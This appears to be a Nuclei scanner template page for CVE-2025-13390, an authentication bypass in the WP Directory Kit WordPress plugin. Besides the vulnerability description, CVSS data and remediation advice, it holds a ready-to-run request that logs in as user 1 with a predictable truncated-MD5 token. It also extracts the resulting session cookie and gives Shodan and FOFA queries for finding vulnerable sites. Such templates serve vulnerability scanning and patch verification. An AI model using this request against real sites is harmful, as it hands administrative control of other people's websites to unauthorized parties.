The WP Directory Kit plugin for WordPress version 1.4.4 and below contains an authentication bypass vulnerability in its auto-login functionality. The vulnerability allows unauthenticated attackers to gain administrative access by exploiting a cryptographically weak token generation mechanism that uses only the first 10 characters of MD5(user_id). For user_id=1 (typically admin), the token is always predictable.
PoC
id: CVE-2025-13390
info:
name: WP Directory Kit <= 1.4.4 - Authentication Bypass
author: maxthepm
severity: critical
description: |
The WP Directory Kit plugin for WordPress version 1.4.4 and below contains an authentication bypass vulnerability in its auto-login functionality. The vulnerability allows unauthenticated attackers to gain administrative access by exploiting a cryptographically weak token generation mechanism that uses only the first 10 characters of MD5(user_id). For user_id=1 (typically admin), the token is always predictable.
impact: |
Unauthenticated attackers can gain administrative access, leading to full site takeover.
remediation: |
Update to the latest version beyond 1.4.4.
reference:
- https://plugins.trac.wordpress.org/browser/wpdirectorykit/trunk/actions.php#L116
- https://ryankozak.com/posts/cve-2025-13390/
- https://github.com/d0n601/CVE-2025-13390
- https://nvd.nist.gov/vuln/detail/CVE-2025-13390
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 10.0
cve-id: CVE-2025-13390
epss-score: 0.04593
epss-percentile: 0.91173
cwe-id: CWE-287
metadata:
verified: true
max-request: 1
shodan-query: html:"/wp-content/plugins/wpdirectorykit"
fofa-query: "body:/wp-content/plugins/wpdirectorykit"
tags: cve,cve2025,wordpress,wp,wp-plugin,auth-bypass,wpdirectorykit,vkev
http:
- raw:
- |
GET /?auto-login=1&user_id=1&token=c4ca4238a0 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: word
part: header
words:
- "wordpress_logged_in_"
case-insensitive: true
- type: word
part: header
words:
- "Set-Cookie"
case-insensitive: true
- type: status
status:
- 302
extractors:
- type: kval
part: header
kval:
- set_cookie
# digest: 4b0a00483046022100c36eb39edc9d3f7f8ab266ccafc5297390d9048b77709f750108189aecc098b0022100c28dd9e0b720631571d7c1b1d456376f9305f51314e320d71f5ddaad0d740566:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.